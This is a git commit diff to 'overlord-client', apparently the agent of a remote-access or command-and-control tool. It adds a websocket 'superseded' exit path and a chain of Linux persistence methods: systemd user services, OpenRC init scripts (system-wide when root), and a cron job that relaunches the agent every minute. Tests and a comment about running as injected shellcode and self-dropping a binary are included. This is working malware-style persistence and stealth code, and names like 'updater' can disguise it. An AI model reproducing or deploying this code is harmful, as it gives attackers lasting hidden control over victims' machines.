improve superseeding, fix linux persistence stuff

This commit is contained in:
KingKDot
2026-06-14 02:12:26 -05:00
parent 41f1228fe9
commit c1fefec1b5
10 changed files with 588 additions and 12 deletions
+14
View File
@@ -5,6 +5,8 @@ import (
"time"
rt "overlord-client/cmd/agent/runtime"
"nhooyr.io/websocket"
)
func TestMinDuration(t *testing.T) {
@@ -15,3 +17,15 @@ func TestMinDuration(t *testing.T) {
t.Fatalf("expected shorter duration returned, got %s", got)
}
}
func TestIsSupersededError(t *testing.T) {
if !isSupersededError(&websocket.CloseError{Code: supersededCloseCode, Reason: "superseded"}) {
t.Fatal("expected close code 4004 to be treated as superseded")
}
if !isSupersededError(&websocket.CloseError{Code: websocket.StatusNormalClosure, Reason: "superseded"}) {
t.Fatal("expected superseded reason to be treated as superseded")
}
if isSupersededError(&websocket.CloseError{Code: websocket.StatusNormalClosure, Reason: "bye"}) {
t.Fatal("normal closure should not be treated as superseded")
}
}
@@ -42,6 +42,10 @@ func Remove() error {
return uninstall()
}
func RemoveCurrentInstall(currentExe string) error {
return removeCurrentInstall(currentExe)
}
// SetupFromBytes writes data to the platform persistence target path and
// registers it — used when the agent is running as injected shellcode and
// selfDropBinary contains the normal (non-shellcode) agent PE/ELF.
@@ -243,3 +243,34 @@ func uninstall() error {
return nil
}
func removeCurrentInstall(currentExe string) error {
currentExe = filepath.Clean(strings.TrimSpace(currentExe))
if currentExe == "" {
return nil
}
targetPath, err := getTargetPath()
if err == nil && filepath.Clean(targetPath) == currentExe {
return nil
}
plistPath, err := getPlistPath()
if err != nil {
return nil
}
if startupFileReferences(plistPath, currentExe) {
if err := os.Remove(plistPath); err != nil && !os.IsNotExist(err) {
return fmt.Errorf("failed to remove current plist file: %w", err)
}
}
return nil
}
func startupFileReferences(path string, exePath string) bool {
data, err := os.ReadFile(path)
if err != nil {
return false
}
return strings.Contains(string(data), "<string>"+exePath+"</string>")
}
@@ -19,3 +19,7 @@ func getTargetPath() (string, error) {
func uninstall() error {
return nil
}
func removeCurrentInstall(_ string) error {
return nil
}
@@ -19,3 +19,7 @@ func getTargetPath() (string, error) {
func uninstall() error {
return nil
}
func removeCurrentInstall(_ string) error {
return nil
}
@@ -7,11 +7,34 @@ import (
"fmt"
"io"
"os"
"os/exec"
"os/user"
"path/filepath"
"strings"
"text/template"
)
var activateLinuxPersistence = true
var runLinuxCommand = func(name string, args ...string) ([]byte, error) {
return exec.Command(name, args...).CombinedOutput()
}
var runLinuxCommandInput = func(input []byte, name string, args ...string) ([]byte, error) {
cmd := exec.Command(name, args...)
stdin, err := cmd.StdinPipe()
if err != nil {
return nil, err
}
go func() {
defer stdin.Close()
_, _ = stdin.Write(input)
}()
return cmd.CombinedOutput()
}
var currentEUID = os.Geteuid
var currentUserHomeDir = func() (string, error) {
usr, err := user.Current()
if err != nil {
@@ -46,6 +69,15 @@ NoDisplay=false
X-GNOME-Autostart-enabled=true
`
const openRCScript = `#!/sbin/openrc-run
description="Overlord Agent"
command={{.ExePath}}
command_background=true
pidfile="${XDG_RUNTIME_DIR:-/tmp}/{{.ServiceName}}.pid"
respawn_delay=10
respawn_max=0
`
func binaryName() string {
if DefaultStartupName != "" {
return DefaultStartupName
@@ -69,6 +101,18 @@ func getAutostartPath() (string, error) {
return filepath.Join(homeDir, ".config", "autostart", binaryName()+".desktop"), nil
}
func getOpenRCPath() (string, error) {
name := openRCServiceName()
if currentEUID() == 0 {
return filepath.Join(string(filepath.Separator), "etc", "init.d", name), nil
}
homeDir, err := currentUserHomeDir()
if err != nil {
return "", err
}
return filepath.Join(homeDir, ".config", "openrc", "init.d", name), nil
}
func getTargetPath() (string, error) {
homeDir, err := currentUserHomeDir()
if err != nil {
@@ -93,11 +137,7 @@ func install(exePath string) error {
return err
}
if err := installSystemd(targetPath); err == nil {
return nil
}
return installAutostart(targetPath)
return installLinuxStartup(targetPath)
}
func replaceExecutable(exePath, targetPath string) error {
@@ -159,10 +199,10 @@ func installSystemd(exePath string) error {
if err != nil {
return fmt.Errorf("failed to create service file: %w", err)
}
defer file.Close()
tmpl, err := template.New("service").Parse(systemdService)
if err != nil {
_ = file.Close()
return fmt.Errorf("failed to parse template: %w", err)
}
@@ -173,17 +213,41 @@ func installSystemd(exePath string) error {
}
if err := tmpl.Execute(file, data); err != nil {
_ = file.Close()
return fmt.Errorf("failed to write service file: %w", err)
}
if err := file.Close(); err != nil {
return fmt.Errorf("failed to close service file: %w", err)
}
if activateLinuxPersistence {
if err := activateSystemdUser(servicePath); err != nil {
return fmt.Errorf("failed to activate systemd user service: %w", err)
}
}
return nil
}
func configure(exePath string) error {
if err := installSystemd(exePath); err == nil {
return nil
return installLinuxStartup(exePath)
}
return installAutostart(exePath)
func installLinuxStartup(exePath string) error {
var firstErr error
for _, fn := range []func(string) error{
installSystemd,
installOpenRC,
installCronFallbackIfActive,
installAutostart,
} {
if err := fn(exePath); err == nil {
return nil
} else if firstErr == nil {
firstErr = err
}
}
return firstErr
}
func installAutostart(exePath string) error {
@@ -221,6 +285,56 @@ func installAutostart(exePath string) error {
return nil
}
func installOpenRC(exePath string) error {
servicePath, err := getOpenRCPath()
if err != nil {
return err
}
dir := filepath.Dir(servicePath)
if err := os.MkdirAll(dir, 0755); err != nil {
return fmt.Errorf("failed to create OpenRC directory: %w", err)
}
file, err := os.Create(servicePath)
if err != nil {
return fmt.Errorf("failed to create OpenRC service: %w", err)
}
tmpl, err := template.New("openrc").Parse(openRCScript)
if err != nil {
_ = file.Close()
return fmt.Errorf("failed to parse OpenRC template: %w", err)
}
data := struct {
ExePath string
ServiceName string
}{
ExePath: shellQuote(exePath),
ServiceName: openRCServiceName(),
}
if err := tmpl.Execute(file, data); err != nil {
_ = file.Close()
return fmt.Errorf("failed to write OpenRC service: %w", err)
}
if err := file.Close(); err != nil {
return fmt.Errorf("failed to close OpenRC service: %w", err)
}
if err := os.Chmod(servicePath, 0755); err != nil {
return fmt.Errorf("failed to set OpenRC service permissions: %w", err)
}
if activateLinuxPersistence {
if err := activateOpenRC(servicePath); err != nil {
return fmt.Errorf("failed to activate OpenRC service: %w", err)
}
}
return nil
}
func uninstall() error {
var lastErr error
@@ -237,9 +351,249 @@ func uninstall() error {
}
}
if err := removeOpenRC(); err != nil {
lastErr = err
}
if err := removeCronFallback(); err != nil {
lastErr = err
}
if targetPath, err := getTargetPath(); err == nil {
os.Remove(targetPath)
}
return lastErr
}
func activateSystemdUser(servicePath string) error {
serviceName := filepath.Base(servicePath)
if out, err := runLinuxCommand("systemctl", "--user", "daemon-reload"); err != nil {
return fmt.Errorf("systemctl --user daemon-reload: %w: %s", err, strings.TrimSpace(string(out)))
}
if out, err := runLinuxCommand("systemctl", "--user", "enable", servicePath); err != nil {
return fmt.Errorf("systemctl --user enable: %w: %s", err, strings.TrimSpace(string(out)))
}
if out, err := runLinuxCommand("systemctl", "--user", "restart", serviceName); err != nil {
return fmt.Errorf("systemctl --user restart: %w: %s", err, strings.TrimSpace(string(out)))
}
return nil
}
func activateOpenRC(servicePath string) error {
serviceName := filepath.Base(servicePath)
if currentEUID() == 0 {
if out, err := runLinuxCommand("rc-update", "add", serviceName, "default"); err != nil {
return fmt.Errorf("rc-update add: %w: %s", err, strings.TrimSpace(string(out)))
}
if out, err := runLinuxCommand("rc-service", serviceName, "restart"); err != nil {
return fmt.Errorf("rc-service restart: %w: %s", err, strings.TrimSpace(string(out)))
}
return nil
}
if out, err := runLinuxCommand("rc-update", "--user", "add", serviceName, "default"); err != nil {
return fmt.Errorf("rc-update --user add: %w: %s", err, strings.TrimSpace(string(out)))
}
if out, err := runLinuxCommand("rc-service", "--user", serviceName, "restart"); err != nil {
return fmt.Errorf("rc-service --user restart: %w: %s", err, strings.TrimSpace(string(out)))
}
return nil
}
func removeOpenRC() error {
servicePath, err := getOpenRCPath()
if err != nil {
return nil
}
if _, statErr := os.Stat(servicePath); statErr != nil {
if os.IsNotExist(statErr) {
return nil
}
return fmt.Errorf("failed to stat OpenRC service: %w", statErr)
}
serviceName := filepath.Base(servicePath)
if activateLinuxPersistence {
if currentEUID() == 0 {
_, _ = runLinuxCommand("rc-service", serviceName, "stop")
_, _ = runLinuxCommand("rc-update", "del", serviceName, "default")
} else {
_, _ = runLinuxCommand("rc-service", "--user", serviceName, "stop")
_, _ = runLinuxCommand("rc-update", "--user", "del", serviceName, "default")
}
}
if err := os.Remove(servicePath); err != nil && !os.IsNotExist(err) {
return fmt.Errorf("failed to remove OpenRC service: %w", err)
}
return nil
}
func installCronFallbackIfActive(exePath string) error {
if !activateLinuxPersistence {
return fmt.Errorf("cron fallback activation disabled")
}
return installCronFallback(exePath)
}
func cronMarker() string {
return "# overlord-agent:" + binaryName()
}
func cronCommand(exePath string) string {
quotedExe := shellQuote(exePath)
return fmt.Sprintf("* * * * * pgrep -u \"$USER\" -fx %s >/dev/null 2>&1 || %s >/dev/null 2>&1 &", quotedExe, quotedExe)
}
func installCronFallback(exePath string) error {
existing, err := currentCrontab()
if err != nil {
return err
}
next := withoutCronFallback(existing)
if strings.TrimSpace(next) != "" && !strings.HasSuffix(next, "\n") {
next += "\n"
}
next += cronMarker() + "\n" + cronCommand(exePath) + "\n"
if out, err := runLinuxCommandInput([]byte(next), "crontab", "-"); err != nil {
return fmt.Errorf("crontab install: %w: %s", err, strings.TrimSpace(string(out)))
}
return nil
}
func removeCronFallback() error {
existing, err := currentCrontab()
if err != nil {
return err
}
next := withoutCronFallback(existing)
if next == existing {
return nil
}
if out, err := runLinuxCommandInput([]byte(next), "crontab", "-"); err != nil {
return fmt.Errorf("failed to remove cron fallback: %w: %s", err, strings.TrimSpace(string(out)))
}
return nil
}
func currentCrontab() (string, error) {
out, err := runLinuxCommand("crontab", "-l")
if err != nil {
text := strings.ToLower(string(out))
if strings.Contains(text, "no crontab") || strings.Contains(text, "no crontab for") {
return "", nil
}
return "", fmt.Errorf("crontab -l: %w: %s", err, strings.TrimSpace(string(out)))
}
return string(out), nil
}
func withoutCronFallback(crontab string) string {
lines := strings.Split(crontab, "\n")
out := make([]string, 0, len(lines))
skipNext := false
removed := false
for _, line := range lines {
if skipNext {
skipNext = false
removed = true
continue
}
if strings.TrimSpace(line) == cronMarker() {
skipNext = true
removed = true
continue
}
out = append(out, line)
}
if !removed {
return crontab
}
return strings.TrimRight(strings.Join(out, "\n"), "\n")
}
func shellQuote(value string) string {
return "'" + strings.ReplaceAll(value, "'", "'\"'\"'") + "'"
}
func openRCServiceName() string {
raw := strings.TrimSpace(binaryName())
var builder strings.Builder
for _, r := range raw {
if (r >= 'a' && r <= 'z') || (r >= 'A' && r <= 'Z') || (r >= '0' && r <= '9') || r == '-' || r == '_' || r == '.' {
builder.WriteRune(r)
} else {
builder.WriteByte('_')
}
}
name := strings.Trim(builder.String(), "._-")
if name == "" {
return "agent"
}
return name
}
func removeCurrentInstall(currentExe string) error {
currentExe = filepath.Clean(strings.TrimSpace(currentExe))
if currentExe == "" || !currentProcessOwnsPath(currentExe) {
return nil
}
var lastErr error
if servicePath, err := getSystemdPath(); err == nil && startupFileReferences(servicePath, "ExecStart=", currentExe) {
if err := os.Remove(servicePath); err != nil && !os.IsNotExist(err) {
lastErr = fmt.Errorf("failed to remove current systemd service: %w", err)
}
}
if autostartPath, err := getAutostartPath(); err == nil && startupFileReferences(autostartPath, "Exec=", currentExe) {
if err := os.Remove(autostartPath); err != nil && !os.IsNotExist(err) {
lastErr = fmt.Errorf("failed to remove current autostart entry: %w", err)
}
}
if openRCPath, err := getOpenRCPath(); err == nil && startupFileContainsExecutable(openRCPath, currentExe) {
if err := os.Remove(openRCPath); err != nil && !os.IsNotExist(err) {
lastErr = fmt.Errorf("failed to remove current OpenRC service: %w", err)
}
}
if targetPath, err := getTargetPath(); err == nil && filepath.Clean(targetPath) == currentExe {
if err := os.Remove(targetPath); err != nil && !os.IsNotExist(err) {
lastErr = fmt.Errorf("failed to remove current executable: %w", err)
}
}
return lastErr
}
func startupFileReferences(path string, prefix string, exePath string) bool {
data, err := os.ReadFile(path)
if err != nil {
return false
}
for _, line := range strings.Split(string(data), "\n") {
if strings.TrimSpace(line) == prefix+exePath {
return true
}
}
return false
}
func startupFileContainsExecutable(path string, exePath string) bool {
data, err := os.ReadFile(path)
if err != nil {
return false
}
return strings.Contains(string(data), shellQuote(exePath)) || strings.Contains(string(data), exePath)
}
func currentProcessOwnsPath(path string) bool {
procInfo, err := os.Stat("/proc/self/exe")
if err != nil {
return false
}
pathInfo, err := os.Stat(path)
if err != nil {
return false
}
return os.SameFile(procInfo, pathInfo)
}
@@ -16,17 +16,114 @@ func withLinuxTempHome(t *testing.T) string {
home := t.TempDir()
origHome := currentUserHomeDir
origStartupName := DefaultStartupName
origActivate := activateLinuxPersistence
origEUID := currentEUID
currentUserHomeDir = func() (string, error) { return home, nil }
DefaultStartupName = ""
activateLinuxPersistence = false
currentEUID = func() int { return 1000 }
t.Cleanup(func() {
currentUserHomeDir = origHome
DefaultStartupName = origStartupName
activateLinuxPersistence = origActivate
currentEUID = origEUID
})
return home
}
func TestLinuxCronFallbackReplacesExistingMarkedEntry(t *testing.T) {
_ = withLinuxTempHome(t)
DefaultStartupName = "updater"
existing := strings.Join([]string{
"SHELL=/bin/sh",
cronMarker(),
"* * * * * /old",
"0 0 * * * /keep",
"",
}, "\n")
got := withoutCronFallback(existing)
if strings.Contains(got, "/old") || strings.Contains(got, cronMarker()) {
t.Fatalf("withoutCronFallback kept marked entry:\n%s", got)
}
if !strings.Contains(got, "SHELL=/bin/sh") || !strings.Contains(got, "0 0 * * * /keep") {
t.Fatalf("withoutCronFallback removed unrelated crontab lines:\n%s", got)
}
}
func TestLinuxCronCommandQuotesExecutablePath(t *testing.T) {
_ = withLinuxTempHome(t)
cmd := cronCommand("/tmp/over lord/agent's bin")
if !strings.Contains(cmd, "pgrep -u \"$USER\" -fx '/tmp/over lord/agent'\"'\"'s bin'") {
t.Fatalf("cron command did not shell-quote pgrep path correctly:\n%s", cmd)
}
if !strings.Contains(cmd, "|| '/tmp/over lord/agent'\"'\"'s bin'") {
t.Fatalf("cron command did not shell-quote exec path correctly:\n%s", cmd)
}
}
func TestLinuxInstallOpenRCCreatesUserService(t *testing.T) {
home := withLinuxTempHome(t)
DefaultStartupName = "updater"
exePath := filepath.Join(home, "bin", "existing agent")
if err := installOpenRC(exePath); err != nil {
t.Fatalf("installOpenRC() error: %v", err)
}
servicePath := filepath.Join(home, ".config", "openrc", "init.d", "updater")
serviceBytes, err := os.ReadFile(servicePath)
if err != nil {
t.Fatalf("read OpenRC service: %v", err)
}
service := string(serviceBytes)
for _, want := range []string{
"#!/sbin/openrc-run",
"description=\"Overlord Agent\"",
"command='" + exePath + "'",
"command_background=true",
"respawn_delay=10",
"respawn_max=0",
} {
if !strings.Contains(service, want) {
t.Fatalf("OpenRC service missing %q:\n%s", want, service)
}
}
if info, err := os.Stat(servicePath); err != nil {
t.Fatalf("stat OpenRC service: %v", err)
} else if info.Mode().Perm() != 0755 {
t.Fatalf("OpenRC service mode = %o, want 0755", info.Mode().Perm())
}
}
func TestLinuxOpenRCPathUsesSystemInitWhenRoot(t *testing.T) {
_ = withLinuxTempHome(t)
currentEUID = func() int { return 0 }
DefaultStartupName = "updater"
got, err := getOpenRCPath()
if err != nil {
t.Fatalf("getOpenRCPath() error: %v", err)
}
want := filepath.Join(string(filepath.Separator), "etc", "init.d", "updater")
if got != want {
t.Fatalf("getOpenRCPath() = %q, want %q", got, want)
}
}
func TestLinuxOpenRCServiceNameSanitizesCustomName(t *testing.T) {
_ = withLinuxTempHome(t)
DefaultStartupName = "../bad name"
if got := openRCServiceName(); got != "bad_name" {
t.Fatalf("openRCServiceName() = %q, want %q", got, "bad_name")
}
}
func writeLinuxSourceExecutable(t *testing.T) string {
t.Helper()
@@ -155,7 +252,8 @@ func TestLinuxUninstallRemovesStartupFilesAndExecutable(t *testing.T) {
target := filepath.Join(home, ".local", "share", "overlord", "agent")
servicePath := filepath.Join(home, ".config", "systemd", "user", "agent.service")
desktopPath := filepath.Join(home, ".config", "autostart", "agent.desktop")
for _, path := range []string{target, servicePath, desktopPath} {
openRCPath := filepath.Join(home, ".config", "openrc", "init.d", "agent")
for _, path := range []string{target, servicePath, desktopPath, openRCPath} {
if err := os.MkdirAll(filepath.Dir(path), 0755); err != nil {
t.Fatalf("mkdir %q: %v", filepath.Dir(path), err)
}
@@ -167,7 +265,7 @@ func TestLinuxUninstallRemovesStartupFilesAndExecutable(t *testing.T) {
if err := Remove(); err != nil {
t.Fatalf("Remove() error: %v", err)
}
for _, path := range []string{target, servicePath, desktopPath} {
for _, path := range []string{target, servicePath, desktopPath, openRCPath} {
if _, err := os.Stat(path); !os.IsNotExist(err) {
t.Fatalf("expected %q to be removed, stat err=%v", path, err)
}
@@ -279,6 +279,10 @@ func uninstall() error {
return nil
}
func removeCurrentInstall(_ string) error {
return nil
}
func cleanupPrefixedExecutables(dir string) error {
entries, err := os.ReadDir(dir)
if err != nil {
+7 -1
View File
@@ -124,6 +124,12 @@ func runClient(cfg config.Config) {
var sessionErr error
if err := runSession(ctx, cancel, conn, sessionCfg); err != nil {
if isSupersededError(err) {
log.Printf("session superseded by a newer connection; exiting")
handleSuperseded(cfg)
exitProcess(0)
return
}
sessionErr = err
log.Printf("session ended: %v (retrying in %s)", err, backoff)
lastDisconnect = time.Now()
@@ -418,7 +424,7 @@ func shouldRetryImmediately(err error) bool {
}
var closeErr *websocket.CloseError
if errors.As(err, &closeErr) {
if closeErr.Code == 4001 || closeErr.Code == 4002 || closeErr.Code == 4003 {
if closeErr.Code == 4001 || closeErr.Code == 4002 || closeErr.Code == 4003 || closeErr.Code == supersededCloseCode {
return false
}
if closeErr.Code == websocket.StatusNormalClosure || closeErr.Code == websocket.StatusGoingAway {
+57
View File
@@ -0,0 +1,57 @@
package main
import (
"errors"
"log"
"os"
"path/filepath"
"strings"
"overlord-client/cmd/agent/config"
"overlord-client/cmd/agent/persistence"
"nhooyr.io/websocket"
)
const supersededCloseCode = 4004
var exitProcess = os.Exit
func isSupersededError(err error) bool {
if err == nil {
return false
}
var closeErr *websocket.CloseError
if !errors.As(err, &closeErr) {
return false
}
return closeErr.Code == supersededCloseCode || strings.EqualFold(strings.TrimSpace(closeErr.Reason), "superseded")
}
func handleSuperseded(cfg config.Config) {
if !cfg.EnablePersistence || !builtWithPersistenceDefault() {
return
}
currentExe, err := os.Executable()
if err != nil {
log.Printf("superseded: failed to resolve executable for cleanup: %v", err)
return
}
if realPath, err := filepath.EvalSymlinks(currentExe); err == nil {
currentExe = realPath
}
currentExe, err = filepath.Abs(currentExe)
if err != nil {
log.Printf("superseded: failed to resolve absolute executable path for cleanup: %v", err)
return
}
if err := persistence.RemoveCurrentInstall(currentExe); err != nil {
log.Printf("superseded: current-install cleanup warning: %v", err)
}
}
func builtWithPersistenceDefault() bool {
return strings.EqualFold(strings.TrimSpace(config.DefaultPersistence), "true")
}